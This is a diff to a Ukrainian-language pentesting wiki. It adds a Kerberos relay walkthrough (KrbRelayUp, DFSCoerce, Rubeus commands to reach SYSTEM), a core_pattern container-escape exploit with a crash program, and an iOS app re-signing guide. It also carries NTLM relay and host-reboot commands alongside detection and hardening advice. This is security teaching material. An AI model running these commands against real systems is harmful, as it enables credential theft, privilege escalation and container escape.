diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 0fee1721f..911b4b8bc 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -316,6 +316,7 @@ - [Drozer Tutorial](mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md) - [Exploiting Content Providers](mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md) - [Exploiting a debuggeable application](mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md) + - [Flutter](mobile-pentesting/android-app-pentesting/flutter.md) - [Frida Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/README.md) - [Frida Tutorial 1](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md) - [Frida Tutorial 2](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md) @@ -342,6 +343,7 @@ - [iOS Extracting Entitlements From Compiled Application](mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md) - [iOS Frida Configuration](mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md) - [iOS Hooking With Objection](mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md) + - [iOS Pentesting withuot Jailbreak](mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md) - [iOS Protocol Handlers](mobile-pentesting/ios-pentesting/ios-protocol-handlers.md) - [iOS Serialisation and Encoding](mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md) - [iOS Testing Environment](mobile-pentesting/ios-pentesting/ios-testing-environment.md) diff --git a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md index 280f7b35d..9242f66e1 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md +++ b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md @@ -8,7 +8,7 @@ - **LLMNR, NBT-NS та mDNS**: - Microsoft та інші операційні системи використовують LLMNR та NBT-NS для локального розв'язання імен, коли DNS не працює. Аналогічно, системи Apple та Linux використовують mDNS. -- Ці протоколи підлягають перехопленню та спуфінгу через їх неавтентифіковану, широкомовну природу через UDP. +- Ці протоколи підлягають перехопленню та спуфінгу через їх неавтентифіковану, трансляційну природу через UDP. - [Responder](https://github.com/lgandx/Responder) може бути використаний для імітації сервісів, надсилаючи підроблені відповіді до хостів, які запитують ці протоколи. - Додаткову інформацію про імітацію сервісів за допомогою Responder можна знайти [тут](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). @@ -21,7 +21,7 @@ ### Responder для отруєння протоколів - **Responder** - це інструмент, що використовується для отруєння запитів LLMNR, NBT-NS та mDNS, вибірково відповідаючи на основі типів запитів, переважно націлюючись на SMB-сервіси. -- Він постачається попередньо встановленим у Kali Linux, налаштовується за адресою `/etc/responder/Responder.conf`. +- Він попередньо встановлений у Kali Linux, налаштовується за адресою `/etc/responder/Responder.conf`. - Responder відображає захоплені хеші на екрані та зберігає їх у каталозі `/usr/share/responder/logs`. - Він підтримує як IPv4, так і IPv6. - Версія Responder для Windows доступна [тут](https://github.com/lgandx/Responder-Windows). @@ -36,7 +36,7 @@ ### Отруєння DHCP за допомогою Responder -- Спуфінг відповідей DHCP може назавжди отруїти маршрутизаційну інформацію жертви, пропонуючи більш прихований варіант, ніж отруєння ARP. +- Спуфінг DHCP-відповідей може назавжди отруїти маршрутизаційну інформацію жертви, пропонуючи більш прихований варіант, ніж отруєння ARP. - Це вимагає точного знання конфігурації цільової мережі. - Запуск атаки: `./Responder.py -I eth0 -Pdv` - Цей метод може ефективно захоплювати NTLMv1/2 хеші, але вимагає обережного поводження, щоб уникнути порушення мережі. @@ -46,11 +46,11 @@ - Responder буде імітувати сервіси, використовуючи вищезгадані протоколи, захоплюючи облікові дані (зазвичай NTLMv2 Challenge/Response), коли користувач намагається аутентифікуватися проти спуфінгових сервісів. - Можна спробувати знизити до NetNTLMv1 або відключити ESS для легшого злому облікових даних. -Важливо зазначити, що використання цих технік повинно здійснюватися легально та етично, забезпечуючи належну авторизацію та уникаючи порушення або несанкціонованого доступу. +Важливо зазначити, що використання цих технік повинно здійснюватися законно та етично, забезпечуючи належну авторизацію та уникаючи порушень або несанкціонованого доступу. ## Inveigh -Inveigh - це інструмент для тестувальників на проникнення та червоних команд, розроблений для систем Windows. Він пропонує функціональність, подібну до Responder, виконуючи спуфінг та атаки "людина посередині". Інструмент еволюціонував з PowerShell-скрипта до бінарного файлу C#, з [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) та [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) як основними версіями. Детальні параметри та інструкції можна знайти в [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters). +Inveigh - це інструмент для тестувальників на проникнення та червоних команд, призначений для систем Windows. Він пропонує функціональність, подібну до Responder, виконуючи спуфінг та атаки "людина посередині". Інструмент еволюціонував з PowerShell-скрипта до бінарного файлу C#, з [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) та [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) як основними версіями. Докладні параметри та інструкції можна знайти в [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters). Inveigh можна запускати через PowerShell: ```bash @@ -64,12 +64,12 @@ Inveigh.exe Ця атака використовує сесії аутентифікації SMB для доступу до цільової машини, надаючи системну оболонку у разі успіху. Основні передумови включають: -- Аутентифікований користувач повинен мати доступ до локального адміністратора на пересланому хості. +- Аутентифікований користувач повинен мати доступ до локального адміністратора на переданому хості. - Підписування SMB повинно бути вимкнено. #### 445 Port Forwarding and Tunneling -У сценаріях, де безпосереднє введення в мережу неможливе, трафік на порту 445 потрібно переслати та тунелювати. Інструменти, такі як [**PortBender**](https://github.com/praetorian-inc/PortBender), допомагають перенаправити трафік порту 445 на інший порт, що є необхідним, коли доступ адміністратора локально доступний для завантаження драйверів. +У сценаріях, де безпосереднє введення в мережу неможливе, трафік на порту 445 потрібно перенаправити та тунелювати. Інструменти, такі як [**PortBender**](https://github.com/praetorian-inc/PortBender), допомагають перенаправити трафік порту 445 на інший порт, що є необхідним, коли доступ адміністратора локально доступний для завантаження драйверів. PortBender setup and operation in Cobalt Strike: ```bash @@ -89,9 +89,9 @@ beacon> socks stop ``` ### Інші інструменти для атаки NTLM Relay -- **Metasploit**: Налаштований з проксі, деталями локальних та віддалених хостів. +- **Metasploit**: Налаштування з проксі, деталями локального та віддаленого хостів. - **smbrelayx**: Скрипт на Python для релеювання SMB-сесій та виконання команд або розгортання бекдорів. -- **MultiRelay**: Інструмент з набору Responder для релеювання конкретних користувачів або всіх користувачів, виконання команд або виведення хешів. +- **MultiRelay**: Інструмент з набору Responder для релеювання конкретних користувачів або всіх користувачів, виконання команд або скидання хешів. Кожен інструмент можна налаштувати для роботи через SOCKS-проксі, якщо це необхідно, що дозволяє проводити атаки навіть з непрямим доступом до мережі. @@ -105,16 +105,119 @@ python MultiRelay.py -t -u ALL -d # Dump hashes # Proxychains for routing traffic ``` -Ці інструменти та техніки формують всебічний набір для проведення атак NTLM Relay в різних мережевих середовищах. +Ці інструменти та техніки формують комплексний набір для проведення атак NTLM Relay в різних мережевих середовищах. -### Примус NTLM Логінів +### Примус NTLM входів -У Windows ви **можете примусити деякі привілейовані облікові записи автентифікуватися на довільних машинах**. Прочитайте наступну сторінку, щоб дізнатися як: +В Windows ви **можете примусити деякі привілейовані облікові записи автентифікуватися на довільних машинах**. Прочитайте наступну сторінку, щоб дізнатися як: {{#ref}} ../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md {{#endref}} +## Атака Kerberos Relay + +**Атака Kerberos relay** викрадає **AP-REQ квиток** з одного сервісу і повторно використовує його проти другого сервісу, який має **той же ключ комп'ютерного облікового запису** (оскільки обидва SPN знаходяться на одному обліковому записі `$`). Це працює, навіть якщо **класи сервісів SPN різні** (наприклад, `CIFS/` → `LDAP/`), оскільки *ключ*, який розшифровує квиток, є NT хешем машини, а не рядком SPN, і рядок SPN не є частиною підпису. + +На відміну від NTLM relay, стрибок обмежений *тією ж хостом*, але, якщо ви націлюєтеся на протокол, який дозволяє вам записувати в LDAP, ви можете перейти до **Resource-Based Constrained Delegation (RBCD)** або **AD CS enrollment** і отримати **NT AUTHORITY\SYSTEM** за один раз. + +Для детальної інформації про цю атаку перевірте: + +- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html) +- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/) + +- 1. **Основи Kerberos** + +| Токен | Призначення | Відношення до реле | +|-------|---------|-----------------| +| **TGT / AS-REQ ↔ REP** | Доказує користувача KDC | неушкоджений | +| **Квиток сервісу / TGS-REQ ↔ REP** | Прив'язаний до одного **SPN**; зашифрований ключем власника SPN | взаємозамінні, якщо SPN ділять обліковий запис | +| **AP-REQ** | Клієнт надсилає `TGS` до сервісу | **що ми крадемо та повторно використовуємо** | + +* Квитки зашифровані з використанням **ключа, отриманого з пароля облікового запису, що володіє SPN**. +* **Аутентифікатор** всередині AP-REQ має 5-хвилинний часовий штамп; повторне використання в цьому вікні є дійсним, поки кеш сервісу не побачить дублікат. +* Windows рідко перевіряє, чи рядок SPN у квитку відповідає сервісу, до якого ви звертаєтеся, тому квиток для `CIFS/HOST` зазвичай добре розшифровується на `LDAP/HOST`. + +- 2. **Що має бути правдою для реле Kerberos** + +1. **Спільний ключ:** джерело та цільові SPN належать до одного комп'ютерного облікового запису (за замовчуванням на серверах Windows). +2. **Без захисту каналу:** SMB/LDAP підпис вимкнений, а EPA вимкнено для HTTP/LDAPS. +3. **Ви можете перехопити або примусити автентифікацію:** отруєння LLMNR/NBNS, спуфінг DNS, **PetitPotam / DFSCoerce RPC**, фальшивий AuthIP, зловмисний DCOM тощо. +4. **Джерело квитка не використано раніше:** ви виграєте гонку до того, як реальний пакет потрапить, або повністю заблокуєте його; в іншому випадку кеш повторного використання сервера активує Подію 4649. +5. Вам потрібно якимось чином мати можливість виконати **MitM у комунікації**, можливо, будучи частиною групи DNSAmins, щоб змінити DNS домену або мати можливість змінити файл HOST жертви. + +### Кроки атаки Kerberos Relay + +- 3.1 **Розвідка хоста** +```powershell +# find servers where HTTP, LDAP or CIFS share the same machine account +Get-ADComputer -Filter * -Properties servicePrincipalName | +Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} | +Select Name,servicePrincipalName +``` +- 3.2 **Запустіть прослуховувач реле** + +[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp) +```powershell +# one-click local SYSTEM via RBCD +.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 +``` +`KrbRelayUp` обгортає **KrbRelay → LDAP → RBCD → Rubeus → SCM обхід** в одному бінарному файлі. + +- 3.3 **Примусити аутентифікацію Kerberos** +```powershell +# coerce DC to auth over SMB with DFSCoerce +.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50 +``` +DFSCoerce змушує DC надіслати нам квиток Kerberos `CIFS/DC01`. + +- 3.4 **Реле AP-REQ** + +KrbRelay витягує GSS blob з SMB, переформатовує його в LDAP bind і пересилає на `ldap://DC01` — автентифікація успішна, оскільки **той самий ключ** розшифровує його. + +- 3.5 **Зловживання LDAP ➜ RBCD ➜ SYSTEM** +```powershell +# (auto inside KrbRelayUp) manual for clarity +New-MachineAccount -Name "FAKE01" -Password "P@ss123" +KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID +Rubeus s4u /user:FAKE01$ /rc4: /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt +SCMUACBypass.exe +``` +Ви тепер володієте **NT AUTHORITY\SYSTEM**. + +### **Більше шляхів, які варто знати** + +| Вектор | Трюк | Чому це важливо | +|--------|-------|----------------| +| **AuthIP / IPSec** | Фальшивий сервер надсилає **GSS-ID payload** з будь-яким SPN; клієнт створює AP-REQ прямо до вас | Працює навіть через підмережі; облікові дані машини за замовчуванням | +| **DCOM / MSRPC** | Зловмисний OXID резолвер змушує клієнта автентифікуватися до довільного SPN і порту | Чисте *локальне* підвищення привілеїв; обходить брандмауер | +| **AD CS Web Enroll** | Пересилайте квиток машини до `HTTP/CA` і отримайте сертифікат, потім **PKINIT** для створення TGT | Обходить захист підпису LDAP | +| **Shadow Credentials** | Запишіть `msDS-KeyCredentialLink`, потім PKINIT з підробленою парою ключів | Немає потреби додавати обліковий запис комп'ютера | + +### **Виправлення помилок** + +| Помилка | Значення | Виправлення | +|-------|---------|-----| +| `KRB_AP_ERR_MODIFIED` | Ключ квитка ≠ ключ цілі | Неправильний хост/SPN | +| `KRB_AP_ERR_SKEW` | Годинник > 5 хвилин зміщення | Синхронізуйте час або використовуйте `w32tm` | +| LDAP прив'язка не вдається | Підписання примусове | Використовуйте шлях AD CS або вимкніть підписання | +| Спам події 4649 | Служба побачила дубльований автентифікатор | заблокувати або змагатися з оригінальним пакетом | + +### **Виявлення** + +* Сплеск у **Event 4769** для `CIFS/`, `HTTP/`, `LDAP/` з одного джерела протягом кількох секунд. +* **Event 4649** на службі вказує на виявлення повтору. +* Керберосний вхід з **127.0.0.1** (пересилання до локального SCM) є дуже підозрілим—відстежуйте за допомогою правила Sigma в документації KrbRelayUp. +* Слідкуйте за змінами атрибутів `msDS-AllowedToActOnBehalfOfOtherIdentity` або `msDS-KeyCredentialLink`. + +## **Ускладнення** + +1. **Примусьте підписання LDAP та SMB + EPA** на кожному сервері. +2. **Розділіть SPN** так, щоб HTTP не був на тому ж обліковому записі, що й CIFS/LDAP. +3. Виправте вектори примусу (PetitPotam KB5005413, DFS, AuthIP). +4. Встановіть **`ms-DS-MachineAccountQuota = 0`** для зупинки несанкціонованих приєднань комп'ютерів. +5. Сповіщайте про **Event 4649** та несподівані локальні входи Kerberos. + ## Посилання - [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/) diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md index d818d2a05..169f57e1a 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md @@ -4,40 +4,52 @@ Відкриття `/proc`, `/sys` та `/var` без належної ізоляції простору імен створює значні ризики безпеки, включаючи збільшення поверхні атаки та розкриття інформації. Ці каталоги містять чутливі файли, які, якщо неправильно налаштовані або доступні несанкціонованому користувачу, можуть призвести до втечі з контейнера, модифікації хоста або надати інформацію, що сприяє подальшим атакам. Наприклад, неправильне монтування `-v /proc:/host/proc` може обійти захист AppArmor через його шляхову природу, залишаючи `/host/proc` незахищеним. -**Ви можете знайти додаткові деталі кожної потенційної уразливості в** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.** +**Ви можете знайти додаткові деталі кожної потенційної вразливості в** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.** -## Уразливості procfs +## Вразливості procfs ### `/proc/sys` -Цей каталог дозволяє змінювати змінні ядра, зазвичай через `sysctl(2)`, і містить кілька підкаталогів, які викликають занепокоєння: +Цей каталог дозволяє доступ для зміни змінних ядра, зазвичай через `sysctl(2)`, і містить кілька підкаталогів, які викликають занепокоєння: #### **`/proc/sys/kernel/core_pattern`** - Описано в [core(5)](https://man7.org/linux/man-pages/man5/core.5.html). -- Дозволяє визначити програму для виконання при генерації файлу ядра з першими 128 байтами як аргументами. Це може призвести до виконання коду, якщо файл починається з каналу `|`. +- Якщо ви можете записувати в цей файл, можливо, записати конвеєр `|`, за яким слідує шлях до програми або скрипту, який буде виконано після того, як станеться збій. +- Зловмисник може знайти шлях всередині хоста до свого контейнера, виконавши `mount`, і записати шлях до бінарного файлу всередині файлової системи свого контейнера. Потім, викликати збій програми, щоб змусити ядро виконати бінарний файл поза контейнером. + - **Приклад тестування та експлуатації**: - ```bash -[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Тест доступу на запис +[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access cd /proc/sys/kernel -echo "|$overlay/shell.sh" > core_pattern # Встановити власний обробник -sleep 5 && ./crash & # Викликати обробник +echo "|$overlay/shell.sh" > core_pattern # Set custom handler +sleep 5 && ./crash & # Trigger handler ``` +Перевірте [цей пост](https://pwning.systems/posts/escaping-containers-for-fun/) для отримання додаткової інформації. +Приклад програми, яка викликає збій: +```c +int main(void) { +char buf[1]; +for (int i = 0; i < 100; i++) { +buf[i] = 1; +} +return 0; +} +``` #### **`/proc/sys/kernel/modprobe`** -- Детально описано в [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). +- Докладно в [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). - Містить шлях до завантажувача модулів ядра, який викликається для завантаження модулів ядра. - **Приклад перевірки доступу**: ```bash -ls -l $(cat /proc/sys/kernel/modprobe) # Перевірити доступ до modprobe +ls -l $(cat /proc/sys/kernel/modprobe) # Перевірка доступу до modprobe ``` #### **`/proc/sys/vm/panic_on_oom`** -- Згадано в [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). +- Згадується в [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). - Глобальний прапор, який контролює, чи панікує ядро або викликає OOM-убивцю, коли виникає умова OOM. #### **`/proc/sys/fs`** @@ -47,9 +59,9 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Перевірити доступ до #### **`/proc/sys/fs/binfmt_misc`** -- Дозволяє реєструвати інтерпретатори для неоригінальних бінарних форматів на основі їх магічного номера. -- Може призвести до підвищення привілеїв або доступу до кореневого шеллу, якщо `/proc/sys/fs/binfmt_misc/register` доступний для запису. -- Відповідний експлойт та пояснення: +- Дозволяє реєструвати інтерпретатори для ненативних бінарних форматів на основі їх магічного номера. +- Може призвести до підвищення привілеїв або доступу до кореневого терміналу, якщо `/proc/sys/fs/binfmt_misc/register` доступний для запису. +- Відповідна експлуатація та пояснення: - [Бідний чоловік rootkit через binfmt_misc](https://github.com/toffan/binfmt_misc) - Детальний посібник: [Посилання на відео](https://www.youtube.com/watch?v=WBC7hhgMvQQ) @@ -58,7 +70,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Перевірити доступ до #### **`/proc/config.gz`** - Може розкрити конфігурацію ядра, якщо `CONFIG_IKCONFIG_PROC` увімкнено. -- Корисно для атакуючих для виявлення уразливостей у запущеному ядрі. +- Корисно для атакуючих для виявлення вразливостей у запущеному ядрі. #### **`/proc/sysrq-trigger`** @@ -72,32 +84,32 @@ echo b > /proc/sysrq-trigger # Перезавантажує хост #### **`/proc/kmsg`** - Відкриває повідомлення з кільцевого буфера ядра. -- Може допомогти в експлуатації ядра, витоках адрес та надати чутливу системну інформацію. +- Може допомогти в експлуатації ядра, витоках адрес та надати чутливу інформацію про систему. #### **`/proc/kallsyms`** - Перераховує експортовані символи ядра та їх адреси. -- Важливо для розробки експлойтів ядра, особливо для подолання KASLR. +- Важливо для розробки експлуатацій ядра, особливо для подолання KASLR. - Інформація про адреси обмежена, якщо `kptr_restrict` встановлено на `1` або `2`. - Деталі в [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). #### **`/proc/[pid]/mem`** -- Інтерфейс з пристроєм пам'яті ядра `/dev/mem`. +- Інтерфейси з пристроєм пам'яті ядра `/dev/mem`. - Історично вразливий до атак підвищення привілеїв. - Більше про [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). #### **`/proc/kcore`** - Представляє фізичну пам'ять системи у форматі ELF core. -- Читання може витікати вміст пам'яті хоста та інших контейнерів. +- Читання може витікати вміст пам'яті хост-системи та інших контейнерів. - Великий розмір файлу може призвести до проблем з читанням або збоїв програмного забезпечення. - Детальне використання в [Витягування /proc/kcore у 2019 році](https://schlafwandler.github.io/posts/dumping-/proc/kcore/). #### **`/proc/kmem`** - Альтернативний інтерфейс для `/dev/kmem`, що представляє віртуальну пам'ять ядра. -- Дозволяє читання та запис, отже, безпосередню модифікацію пам'яті ядра. +- Дозволяє читання та запис, отже, безпосереднє модифікування пам'яті ядра. #### **`/proc/mem`** @@ -106,15 +118,15 @@ echo b > /proc/sysrq-trigger # Перезавантажує хост #### **`/proc/sched_debug`** -- Повертає інформацію про планування процесів, обминаючи захисти простору імен PID. +- Повертає інформацію про планування процесів, обходячи захисти простору PID. - Відкриває імена процесів, ID та ідентифікатори cgroup. #### **`/proc/[pid]/mountinfo`** -- Надає інформацію про точки монтування в просторі імен монтування процесу. -- Відкриває місцезнаходження `rootfs` контейнера або образу. +- Надає інформацію про точки монту в просторі монту процесу. +- Відкриває місцезнаходження контейнера `rootfs` або образу. -### Уразливості `/sys` +### Вразливості `/sys` #### **`/sys/kernel/uevent_helper`** @@ -126,7 +138,7 @@ echo b > /proc/sysrq-trigger # Перезавантажує хост echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper -#### Знаходить шлях хоста з монтування OverlayFS для контейнера +#### Знаходить шлях хоста з OverlayFS для контейнера host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab) @@ -152,7 +164,7 @@ cat /output %%% #### **`/sys/kernel/security`** -- Містить інтерфейс `securityfs`, що дозволяє налаштування Модулів безпеки Linux, таких як AppArmor. +- Містить інтерфейс `securityfs`, що дозволяє налаштування Linux Security Modules, таких як AppArmor. - Доступ може дозволити контейнеру вимкнути свою MAC-систему. #### **`/sys/firmware/efi/vars` та `/sys/firmware/efi/efivars`** @@ -162,12 +174,12 @@ cat /output %%% #### **`/sys/kernel/debug`** -- `debugfs` пропонує "без правил" інтерфейс для налагодження ядра. +- `debugfs` пропонує інтерфейс для налагодження без правил до ядра. - Історія проблем з безпекою через його необмежений характер. -### Уразливості `/var` +### Вразливості `/var` -Папка хоста **/var** містить сокети виконання контейнерів та файлові системи контейнерів. Якщо цей каталог змонтовано всередині контейнера, цей контейнер отримає доступ на читання та запис до файлових систем інших контейнерів з привілеями root. Це може бути зловжито для переходу між контейнерами, викликання відмови в обслуговуванні або для створення бекдору в інших контейнерах та програмах, що в них виконуються. +Папка **/var** хоста містить сокети виконання контейнерів та файлові системи контейнерів. Якщо ця папка змонтована всередині контейнера, цей контейнер отримає доступ на читання та запис до файлових систем інших контейнерів з правами root. Це може бути зловжито для перемикання між контейнерами, викликання відмови в обслуговуванні або для створення бекдорів в інших контейнерах та програмах, що в них виконуються. #### Kubernetes diff --git a/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md new file mode 100644 index 000000000..ff23e7a11 --- /dev/null +++ b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md @@ -0,0 +1,76 @@ +# iOS Pentesting without Jailbreak + +{{#include ../../banners/hacktricks-training.md}} + + +## Основна ідея + +Застосунки, підписані з **правом `get_task_allow`**, дозволяють стороннім застосункам виконувати функцію **`task_for_pid()`** з ідентифікатором процесу початкового застосунку як аргумент, щоб отримати порт завдання над ним (мати можливість контролювати його та отримувати доступ до його пам'яті). + +Однак це не так просто, як просто витягти IPA, повторно підписати його з правом і завантажити назад на ваш пристрій. Це пов'язано з захистом FairPlay. Коли підпис змінюється, ключ DRM (управління цифровими правами) **стає недійсним, і застосунок не працюватиме**. + +З старим джейлбрейкнутим пристроєм можна встановити IPA, **розшифрувати його за допомогою вашого улюбленого інструменту** (такого як Iridium або frida-ios-dump) і витягти його з пристрою. Хоча, якщо це можливо, рекомендується просто запитати у клієнта розшифрований IPA. + + +## Отримати розшифрований IPA + +### Отримати його від Apple + +1. Встановіть застосунок для тестування на iPhone +2. Встановіть і запустіть [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) на вашому macos +3. Відкрийте `Terminal` на вашому Mac і перейдіть до `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. IPA з'явиться в цій папці пізніше. +4. Ви повинні побачити свій iOS пристрій. Двічі клацніть на ньому, а потім натисніть Додати + → Застосунки у верхньому меню. +5. Після натискання Додати, Configurator завантажить IPA з Apple і спробує надіслати його на ваш пристрій. Якщо ви раніше виконали мою рекомендацію і вже встановили IPA, з'явиться запит на повторну установку застосунку. +6. IPA має бути завантажено в `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`, звідки ви можете його забрати. + +Перевірте [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) для отримання більш детальної інформації про цей процес. + + +### Розшифрування застосунку + +Щоб розшифрувати IPA, ми збираємося його встановити. Однак, якщо у вас старий джейлбрейкнутій iPhone, можливо, його версія не буде підтримуватися застосунком, оскільки зазвичай застосунки підтримують лише останні версії. + +Отже, щоб його встановити, просто розпакуйте IPA: +```bash +unzip redacted.ipa -d unzipped +``` +Перевірте `Info.plist` на наявність мінімально підтримуваної версії, і якщо ваш пристрій старіший за цю версію, змініть значення, щоб воно було підтримуваним. + +Знову запакуйте IPA: +```bash +cd unzipped +zip -r ../no-min-version.ipa * +``` +Потім встановіть IPA, наприклад, за допомогою: +```bash +ideviceinstaller -i no-min-version.ipa -w +``` +Зверніть увагу, що вам може знадобитися **AppSync Unified tweak** з Cydia, щоб запобігти будь-яким помилкам `invalid signature`. + +Після встановлення ви можете використовувати **Iridium tweak** з Cydia, щоб отримати розшифрований IPA. + + +### Патчинг прав та повторне підписання + +Щоб повторно підписати додаток з правом `get-task-allow`, доступно кілька інструментів, таких як `app-signer`, `codesign` та `iResign`. `app-signer` має дуже зручний інтерфейс, який дозволяє дуже легко повторно підписати файл IPA, вказуючи IPA для повторного підписання, **додати `get-taks-allow`** та сертифікат і профіль для використання. + +Щодо сертифіката та профілів підписання, Apple пропонує **безкоштовні профілі підписання для розробників** для всіх облікових записів через Xcode. Просто створіть додаток і налаштуйте один. Потім налаштуйте **iPhone, щоб довіряти додаткам розробника**, перейшовши в `Налаштування` → `Конфіденційність та безпека`, і натисніть на `Режим розробника`. + + +З повторно підписаним IPA настав час встановити його на пристрій для тестування: +```bash +ideviceinstaller -i resigned.ipa -w +``` +### Hook + +Ви можете легко підключити свій додаток, використовуючи загальні інструменти, такі як frida та objection: +```bash +objection -g [your app bundle ID] explore + +``` +## Посилання + +- [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md b/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md index b274c2090..28d5fad4d 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md +++ b/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md @@ -4,12 +4,12 @@ ## Apple Developer Program -**Provisioning identity** - це набір публічних і приватних ключів, які асоційовані з обліковим записом розробника Apple. Щоб **підписувати додатки**, вам потрібно сплатити **99$/рік** для реєстрації в **Apple Developer Program**, щоб отримати вашу provisioning identity. Без цього ви не зможете запускати програми з вихідного коду на фізичному пристрої. Інший варіант - використовувати **jailbroken device**. +**Provisioning identity** - це колекція публічних та приватних ключів, які асоційовані з обліковим записом розробника Apple. Щоб **підписувати додатки**, вам потрібно сплатити **99$/рік** для реєстрації в **Apple Developer Program**, щоб отримати вашу provisioning identity. Без цього ви не зможете запускати програми з вихідного коду на фізичному пристрої. Інший варіант - використовувати **jailbroken device**. -Починаючи з Xcode 7.2, Apple надала можливість створити **безкоштовний профіль розробки iOS**, який дозволяє писати та тестувати ваш додаток на реальному iPhone. Перейдіть до _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (Додати новий Appli ID з вашими обліковими даними) --> _Натисніть на створений Apple ID_ --> _Manage Certificates_ --> _+_ (Apple Development) --> _Done_\ -\_\_Потім, щоб запустити ваш додаток на вашому iPhone, спочатку потрібно **вказати iPhone довіряти комп'ютеру.** Потім ви можете спробувати **запустити додаток на мобільному з Xcode,** але з'явиться помилка. Тож перейдіть до _Settings_ --> _General_ --> _Profiles and Device Management_ --> Виберіть ненадійний профіль і натисніть "**Trust**". +Починаючи з Xcode 7.2, Apple надала можливість створити **безкоштовний профіль розробки iOS**, який дозволяє писати та тестувати вашу програму на реальному iPhone. Перейдіть до _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (Додати новий Appli ID з вашими обліковими даними) --> _Натисніть на створений Apple ID_ --> _Manage Certificates_ --> _+_ (Apple Development) --> _Done_\ +\_\_Потім, щоб запустити вашу програму на вашому iPhone, спочатку потрібно **вказати iPhone довіряти комп'ютеру.** Потім ви можете спробувати **запустити програму на мобільному з Xcode,** але з'явиться помилка. Тож перейдіть до _Settings_ --> _General_ --> _Profiles and Device Management_ --> 